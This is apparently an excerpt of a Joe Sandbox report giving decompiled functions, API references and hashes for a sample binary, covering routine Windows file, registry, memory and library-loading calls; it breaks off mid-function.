0x00452491
0x00452506
0x0045250a
0x00452525
0x00452533
0x00452543
0x00452548
0x0045254a
0x0045254c
0x0045254c
0x0045254a
0x00452493
0x00452497
0x004524db
0x004524e9
0x004524f7
0x004524fc
0x004524fe
0x00452500
0x00452500
0x00452499
0x004524a2
0x004524b0
0x004524c6
0x004524cc
0x004524cc
0x004524c6
0x00452497
0x00452491
0x0045243f
0x00000000
0x00452568
0x0045256a
0x0045256d
0x00452570
0x0045257e
0x0045257e
0x00452562
0x00000000
0x00000000
0x00000000
0x00452392

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0045257F,?,00000000,004525E9,?,?,-00000001,00000000,?,00474215,00000000,00474164,00000000), ref: 0045255B
FindClose.KERNEL32(000000FF,00452586,0045257F,?,00000000,004525E9,?,?,-00000001,00000000,?,00474215,00000000,00474164,00000000,00000001), ref: 00452579

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 63c559b797dfea3458c9a3d7c21cfb7e8f58deae62ae7530f4167cfea5d313df
Instruction ID: 4e27180880ec590effa84b7e78516a3413803233620af3d5ad2924b98cdd6442
Opcode Fuzzy Hash: 63c559b797dfea3458c9a3d7c21cfb7e8f58deae62ae7530f4167cfea5d313df
Instruction Fuzzy Hash: 11817F70A0024DABCF11DF65C9957DFBBB4AF4A305F1044A7EC4467292E3B89E4ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402088 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0048F420,00000000,004021FC), ref: 004020CB

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0048F420,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0048F420,00401A89,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: 5ffe77a1fb0377619ae9d3440f8d7e50b2aa08ff0f5729eace1298e8b1942181
Instruction ID: 8642307ef3915ce30bc00126afbbcb0b1ba47b7aa1fa883bf07101b784609e28
Opcode Fuzzy Hash: 5ffe77a1fb0377619ae9d3440f8d7e50b2aa08ff0f5729eace1298e8b1942181
Instruction Fuzzy Hash: E441F1B2E007049FE710CF68DD8521F77A0F7A8728B25467FD840A77E2D778A8068B48

Uniqueness

Uniqueness Score: -1.00%

Function 0042DCC0 Relevance: 3.1, APIs: 2, Instructions: 104
registryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0042DCC0(char __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				char _v24;
				int _v28;
				void* _t35;
				long _t44;
				long _t51;
				void* _t53;
				int _t61;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t85;
				void* _t86;
				intOrPtr _t87;

				_t83 = __esi;
				_t82 = __edi;
				_t85 = _t86;
				_t87 = _t86 + 0xffffffe8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v5 = __eax;
				_push(_t85);
				_push(0x42ddeb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t87;
				if( *0x48e0dc != 2) {
					L10:
					E0042DC44(_v5, _v16, _v12);
					__eflags = 0;
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(E0042DDF2);
					return E00403418( &_v24);
				} else {
					_t35 = E0042DC1C(_v5, _v16, _v12,  &_v20, 8, 0); // executed
					_t89 = _t35;
					if(_t35 != 0) {
						goto L10;
					} else {
						_push(_t85);
						_push(0x42ddbe);
						_push( *[fs:edx]);
						 *[fs:edx] = _t87;
						E004034F8( &_v24, 0x100, 0, _t89);
						_t61 = 0;
						while(1) {
							L3:
							_v28 = E0040358C(_v24);
							_t44 = RegEnumKeyExA(_v20, _t61, E0040375C( &_v24),  &_v28, 0, 0, 0, 0);
							if(_t44 != 0xea) {
								break;
							}
							_t53 = E0040358C(_v24);
							_t92 = _t53 - 0x10000;
							if(_t53 < 0x10000) {
								E004034F8( &_v24, E0040358C(_v24) + _t55, 0, _t92);
								continue;
							}
							L9:
							__eflags = 0;
							_pop(_t79);
							 *[fs:eax] = _t79;
							_push(E0042DDC5);
							return RegCloseKey(_v20);
							goto L11;
						}
						__eflags = _t44;
						if(_t44 == 0) {
							_t51 = E0042DCC0(_v5, _t61, E00403750(_v24), _v20, _t82, _t83);
							__eflags = _t51;
							if(_t51 != 0) {
								_t61 = _t61 + 1;
							}
							goto L3;
						}
						goto L9;
					}
				}
				L11:
			}

0x0042dcc0
0x0042dcc0
0x0042dcc1
0x0042dcc3
0x0042dcc6
0x0042dcc7
0x0042dcc8
0x0042dccb
0x0042dcce
0x0042dcd1
0x0042dcd4
0x0042dcd9
0x0042dcda
0x0042dcdf
0x0042dce2
0x0042dcec
0x0042ddc5
0x0042ddce
0x0042ddd5
0x0042ddd7
0x0042ddda
0x0042dddd
0x0042ddea
0x0042dcf2
0x0042dd03
0x0042dd08
0x0042dd0a
0x00000000
0x0042dd10
0x0042dd12
0x0042dd13
0x0042dd18
0x0042dd1b
0x0042dd28
0x0042dd2d
0x0042dd2f
0x0042dd2f
0x0042dd37
0x0042dd54
0x0042dd5e
0x00000000
0x00000000
0x0042dd63
0x0042dd68
0x0042dd6d
0x0042dd80
0x00000000
0x0042dd80
0x0042dda7
0x0042dda7
0x0042dda9
0x0042ddac
0x0042ddaf
0x0042ddbd
0x00000000
0x0042ddbd
0x0042dd87
0x0042dd89
0x0042dd9b
0x0042dda0
0x0042dda2
0x0042dda4
0x0042dda4
0x00000000
0x0042dda2
0x00000000
0x0042dd89
0x0042dd0a
0x00000000

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DDBE,?,?,00000008,00000000,00000000,0042DDEB), ref: 0042DD54
RegCloseKey.ADVAPI32(?,0042DDC5,?,00000000,00000000,00000000,00000000,00000000,0042DDBE,?,?,00000008,00000000,00000000,0042DDEB), ref: 0042DDB8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: fcfd55104ef635e77b746ce761a155ef35eea3b5ce652421220b889590839bc0
Instruction ID: 6926850a68823415a5d3d0da6072a9631da741a13312856a25fdf12e15970bcc
Opcode Fuzzy Hash: fcfd55104ef635e77b746ce761a155ef35eea3b5ce652421220b889590839bc0
Instruction Fuzzy Hash: E2317570F046196EDB05DFA2DC52BBFBBB9EB44304F50447AA500F3281D6789A01CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFAC Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040AFAC(void* __eax, intOrPtr* __edx, void* __edi) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				signed int _t10;
				signed int _t11;
				intOrPtr _t17;
				intOrPtr* _t22;
				struct HINSTANCE__* _t26;
				void* _t30;
				intOrPtr _t33;
				void* _t36;
				intOrPtr _t39;
				intOrPtr _t41;

				_t39 = _t41;
				_t22 = __edx;
				_t36 = __eax;
				_t8 = E00403750(__eax);
				_t9 =  *0x48f014; // 0x400000
				_t10 = FindResourceA(_t9, _t8, 0xa);
				_t30 = _t10;
				_t11 = _t10 & 0xffffff00 | _t30 != 0x00000000;
				_t43 = _t11;
				if(_t11 == 0) {
					return _t11;
				} else {
					FreeResource(_t30);
					_t26 =  *0x48f014; // 0x400000
					_v8 = E0040D120(_t26, 1, 0xa, _t36);
					_push(_t39);
					_push(0x40b024);
					_push( *[fs:eax]);
					 *[fs:eax] = _t41;
					_t17 = E0040CD78(_v8, _t22,  *_t22, __edi, _t36, _t43); // executed
					 *_t22 = _t17;
					_pop(_t33);
					 *[fs:eax] = _t33;
					_push(E0040B02B);
					return E00402B70(_v8);
				}
			}

0x0040afad
0x0040afb2
0x0040afb4
0x0040afba
0x0040afc0
0x0040afc6
0x0040afcb
0x0040afcf
0x0040afd2
0x0040afd4
0x0040b031
0x0040afd6
0x0040afd7
0x0040afdf
0x0040aff1
0x0040aff6
0x0040aff7
0x0040affc
0x0040afff
0x0040b007
0x0040b00c
0x0040b010
0x0040b013
0x0040b016
0x0040b023
0x0040b023

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040AFC6
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B123,00000000,0040B13B,?,?,00000000,00000000), ref: 0040AFD7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: 0d0c4efc6230d664023d5bcdbeebcde2072add8dd2b3658476c33e83fdbeecdd
Instruction ID: 12dffaa3083004c06d189a808c14b2b9b14d906a67b209620051df5c13d0bbd6
Opcode Fuzzy Hash: 0d0c4efc6230d664023d5bcdbeebcde2072add8dd2b3658476c33e83fdbeecdd
Instruction Fuzzy Hash: 5101F771300700AFD711EF65AC52D2B77ADDB4A714711847AF500BB3D1DA399C10976D

Uniqueness

Uniqueness Score: -1.00%

Function 004510C4 Relevance: 3.0, APIs: 2, Instructions: 48
fileCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E004510C4(void* __eax, void* __ecx, void* __edx, void* __eflags) {
				int _v8;
				char _v16;
				long _v20;
				CHAR* _t12;
				int _t15;
				intOrPtr _t30;
				void* _t38;
				void* _t40;
				intOrPtr _t41;

				_t38 = _t40;
				_t41 = _t40 + 0xfffffff0;
				if(E00450B68(__eax,  &_v16) != 0) {
					_push(_t38);
					_push(0x45112c);
					_push( *[fs:eax]);
					 *[fs:eax] = _t41;
					_t12 = E00403750(__ecx);
					_t15 = MoveFileA(E00403750(__edx), _t12); // executed
					_v8 = _t15;
					_v20 = GetLastError();
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(0x451133);
					return E00450BA4( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x004510c5
0x004510c7
0x004510df
0x004510ea
0x004510eb
0x004510f0
0x004510f3
0x004510f8
0x00451106
0x0045110b
0x00451113
0x00451118
0x0045111b
0x0045111e
0x0045112b
0x004510e1
0x004510e3
0x00451145
0x00451145

APIs

MoveFileA.KERNEL32 ref: 00451106
GetLastError.KERNEL32(00000000,00000000,00000000,0045112C), ref: 0045110E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: 552692a49ed442fb13c6fbc6002043e8529a976fec031cb54970b51677dfdd09
Instruction ID: 601d44f04c9cfe722f2e497316d95a0e2416cdaba02063a9512e5b964032ce29
Opcode Fuzzy Hash: 552692a49ed442fb13c6fbc6002043e8529a976fec031cb54970b51677dfdd09
Instruction Fuzzy Hash: 09012671B00604AB8B00EBBA9C8199EB7ECDB4D31576045BBFD08E3252EA385E04855C

Uniqueness

Uniqueness Score: -1.00%

Function 00450BB4 Relevance: 3.0, APIs: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00450BB4(void* __eax, void* __edx, void* __eflags) {
				int _v8;
				char _v16;
				long _v20;
				int _t13;
				intOrPtr _t27;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff0;
				if(E00450B68(__eax,  &_v16) != 0) {
					_push(_t32);
					_push(0x450c13);
					_push( *[fs:eax]);
					 *[fs:eax] = _t35;
					_t13 = CreateDirectoryA(E00403750(__edx), 0); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x450c1a);
					return E00450BA4( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00450bb5
0x00450bb7
0x00450bcc
0x00450bd7
0x00450bd8
0x00450bdd
0x00450be0
0x00450bed
0x00450bf2
0x00450bfa
0x00450bff
0x00450c02
0x00450c05
0x00450c12
0x00450bce
0x00450bd0
0x00450c2b
0x00450c2b

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00450C13), ref: 00450BED
GetLastError.KERNEL32(00000000,00000000,00000000,00450C13), ref: 00450BF5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 90140e24aaaddd67632e32fceea983cc3f4b7662f716af60efe3a3cf7c04fb46
Instruction ID: 063cd6fcc4589cb133ccd01a2e8e9e7051cfe06a6bd5c05068ad70219624bdd3
Opcode Fuzzy Hash: 90140e24aaaddd67632e32fceea983cc3f4b7662f716af60efe3a3cf7c04fb46
Instruction Fuzzy Hash: B3F02875E04708AFCB11EFB59C5159EB3A8DB49315B5046B7FC04E3282E6395E04869C

Uniqueness

Uniqueness Score: -1.00%

Function 00423220 Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423220(void* __eax) {
				struct HICON__* _t5;
				void* _t7;
				void* _t8;
				struct HINSTANCE__* _t11;
				CHAR** _t12;
				void* _t13;

				_t13 = __eax;
				 *((intOrPtr*)(_t13 + 0x38)) = LoadCursorA(0, 0x7f00);
				_t8 = 0xffffffec;
				_t12 = 0x48e5e4;
				do {
					if(_t8 < 0xffffffef || _t8 > 0xfffffff4) {
						_t11 = 0;
					} else {
						_t11 =  *0x48f014; // 0x400000
					}
					_t5 = LoadCursorA(_t11,  *_t12); // executed
					_t7 = E00423314(_t13, _t5, _t8);
					_t8 = _t8 + 1;
					_t12 =  &(_t12[1]);
				} while (_t8 != 0xffffffff);
				return _t7;
			}

0x00423224
0x00423232
0x00423235
0x0042323a
0x0042323f
0x00423242
0x00423251
0x00423249
0x00423249
0x00423249
0x00423257
0x00423262
0x00423267
0x00423268
0x0042326b
0x00423274

APIs

LoadCursorA.USER32 ref: 0042322D
LoadCursorA.USER32 ref: 00423257

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 9fec0ea2bfd00d9fceaaa73e6104b837c99125e6063ac79a0958976c72ddb8a5
Instruction ID: 0402285bfb274dd8fe4b3a25abfc235caab6f109ca1a2876507250cac3dbd624
Opcode Fuzzy Hash: 9fec0ea2bfd00d9fceaaa73e6104b837c99125e6063ac79a0958976c72ddb8a5
Instruction Fuzzy Hash: C1F0E411B4015056DA109E7E6CC0E2A71B4CBC2375761037BFF3ED72D1CA2D6E414279

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1B8 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0042E1B8(void* __eax, void* __ebx, int __edx) {
				struct HINSTANCE__* _v12;
				int _v16;
				int _t4;
				struct HINSTANCE__* _t9;
				void* _t12;
				intOrPtr _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;

				_t18 = _t19;
				_t20 = _t19 + 0xfffffff4;
				_t12 = __eax;
				_t4 = SetErrorMode(__edx); // executed
				_v16 = _t4;
				_push(_t18);
				_push(0x42e22a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				asm("fnstcw word [ebp-0x2]");
				_push(_t18);
				_push(0x42e20c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				_t9 = LoadLibraryA(E00403750(_t12)); // executed
				_v12 = _t9;
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(E0042E213);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x0042e1b9
0x0042e1bb
0x0042e1bf
0x0042e1c2
0x0042e1c7
0x0042e1cc
0x0042e1cd
0x0042e1d2
0x0042e1d5
0x0042e1d8
0x0042e1dd
0x0042e1de
0x0042e1e3
0x0042e1e6
0x0042e1f1
0x0042e1f6
0x0042e1fb
0x0042e1fe
0x0042e201
0x0042e206
0x0042e208
0x0042e20b

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E1C2
LoadLibraryA.KERNEL32(00000000,00000000,0042E20C,?,00000000,0042E22A,?,00008000), ref: 0042E1F1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 4fb11dbb223986b0efaa74ce43b59d2dec948001b51b441eacda59d4f6d0f9e8
Instruction ID: 1297d1b4cc028e032a3df4ef759b42a31090f4e829aa6dc89ab980b0b95de88c
Opcode Fuzzy Hash: 4fb11dbb223986b0efaa74ce43b59d2dec948001b51b441eacda59d4f6d0f9e8
Instruction Fuzzy Hash: 71F082B0B14744BEDF119F779C5282BBBECE70DB0079348B6F811A2A92E53D5910C978

Uniqueness

Uniqueness Score: -1.00%

Function 0044F954 Relevance: 3.0, APIs: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044F954(intOrPtr* __eax, void* __ecx, void* __edx) {
				long _v8;
				long _t7;
				long _t8;
				intOrPtr* _t10;

				_t10 = __eax;
				_v8 = 0;
				_t7 = SetFilePointer( *(__eax + 4), 0,  &_v8, 2); // executed
				_t8 = _t7 + 1;
				if(_t8 == 0) {
					_t8 = GetLastError();
					if(_t8 != 0) {
						_t8 = E0044F710( *_t10);
					}
				}
				return _t8;
			}

0x0044f956
0x0044f95a
0x0044f96a
0x0044f96f
0x0044f970
0x0044f972
0x0044f979
0x0044f97d
0x0044f97d
0x0044f979
0x0044f984

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,00000080,00469AF9,?,00000000), ref: 0044F96A
GetLastError.KERNEL32(?,00000000,?,00000002,?,00000080,00469AF9,?,00000000), ref: 0044F972

Part of subcall function 0044F710: GetLastError.KERNEL32(0044F52C,0044F7D2,?,00000000,?,0048D07E,00000001,00000000,00000002,00000000,0048D1E7,?,?,00000005,00000000,0048D21B), ref: 0044F713

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: adcc1575d805b057942e830c9ae05f6dedd4f9e2d30b1efb8ec9ae5f7b27a55b
Instruction ID: c0bc3fd2d1c16438c58ed69be3b7abd6d372baba753f02bf81082b33070d6961
Opcode Fuzzy Hash: adcc1575d805b057942e830c9ae05f6dedd4f9e2d30b1efb8ec9ae5f7b27a55b
Instruction Fuzzy Hash: 4EE012A1314600ABFB00EAA599C5B3773DCDB48304F00443AB544CF282D678CC084B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040626C Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040626C(int __eax, long __edx) {
				void* _t2;

				_t2 = GlobalAlloc(__eax, __edx); // executed
				GlobalFix(_t2);
				return _t2;
			}

0x0040626e
0x00406274
0x00406279

APIs

GlobalAlloc.KERNEL32 ref: 0040626E
GlobalFix.KERNEL32(00000000), ref: 00406274

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Global$Alloc
String ID:
API String ID: 2558781224-0
Opcode ID: 90895a9b2729aa942d2f95dcaee45aea0f2516e6e66f6af8424186dc3ca3cd92
Instruction ID: 5bbfaa75041a1175914fa1bab98890658e4afbcc192eb1c7aa472d5ea0627bf6
Opcode Fuzzy Hash: 90895a9b2729aa942d2f95dcaee45aea0f2516e6e66f6af8424186dc3ca3cd92
Instruction Fuzzy Hash: AD9002C4C00A00A8DC0432B20C0AC3F141CD8C07287D4496F3004B6483883C88015A7C

Uniqueness

Uniqueness Score: -1.00%

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014E4(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E00401398(0x48f440, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x004014e7
0x004014f1
0x00401500
0x004014f3
0x004014f3
0x004014f3
0x00401506
0x00401513
0x00401518
0x0040151a
0x0040151e
0x00401527
0x0040152e
0x0040153a
0x00401541
0x00000000
0x00401541
0x0040152e
0x00401546

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 50c454e4b0bdda97fec49124369866c4dd2294ff55b1b02ea28c20733c315e07
Instruction ID: 8fabae77903bdf930d004f7073d368b7c939d6086f38a5e4ac05ef7a6e824755
Opcode Fuzzy Hash: 50c454e4b0bdda97fec49124369866c4dd2294ff55b1b02ea28c20733c315e07
Instruction Fuzzy Hash: C0F0E272A0023027EB20596A4C81B5355849BC5B94F154076FD08FF3E9D2B58C0142A9

Uniqueness

Uniqueness Score: -1.00%

Function 00475288 Relevance: 1.6, APIs: 1, Instructions: 125
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00475288(long __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t16;
				intOrPtr _t17;
				void* _t22;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t43;
				intOrPtr _t47;
				intOrPtr _t51;
				struct HWND__* _t53;
				int _t54;
				intOrPtr _t55;
				void* _t58;
				void* _t60;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t75;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t88;
				intOrPtr _t89;
				void* _t93;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t101;
				void* _t102;
				long _t103;
				void* _t106;

				_t71 = __ecx;
				_t16 = __eax;
				_t103 = __eax;
				_t106 = _t103 -  *0x48eb44; // 0x0
				if(_t106 == 0) {
					L22:
					return _t16;
				}
				_t17 =  *0x4901a4; // 0x22f59c0
				_t69 = E0040B420(_t17, __eax);
				_push(E0040358C( *((intOrPtr*)(_t69 + 0x18))));
				_t2 = _t69 + 0x18; // 0x18
				_t22 = E0040375C(_t2);
				_pop(_t75);
				E0045044C(_t22, _t71, _t75);
				 *0x48eb44 = _t103;
				E00403AD8(0x490164, _t69, 0x430e04, _t93, _t98);
				_t99 = _t69;
				memcpy(0x490164, _t99, 0x10 << 2);
				_t4 = _t99 + 0x20 - 0x40; // 0x490124
				E00403AE4(_t4, 0x430e04);
				if( *((intOrPtr*)(_t69 + 0x1c)) == 0) {
					_t78 =  *0x490074; // 0x230c00c
					E00403468(0x4901ec, _t69, _t78, _t96, _t99);
				} else {
					E00403468(0x4901ec, _t69,  *((intOrPtr*)(_t69 + 0x1c)), _t96, _t99);
				}
				if( *((intOrPtr*)(_t69 + 0x20)) == 0) {
					_t79 =  *0x490078; // 0x0
					E00403468(0x4901f0, _t69, _t79, _t96, _t99);
				} else {
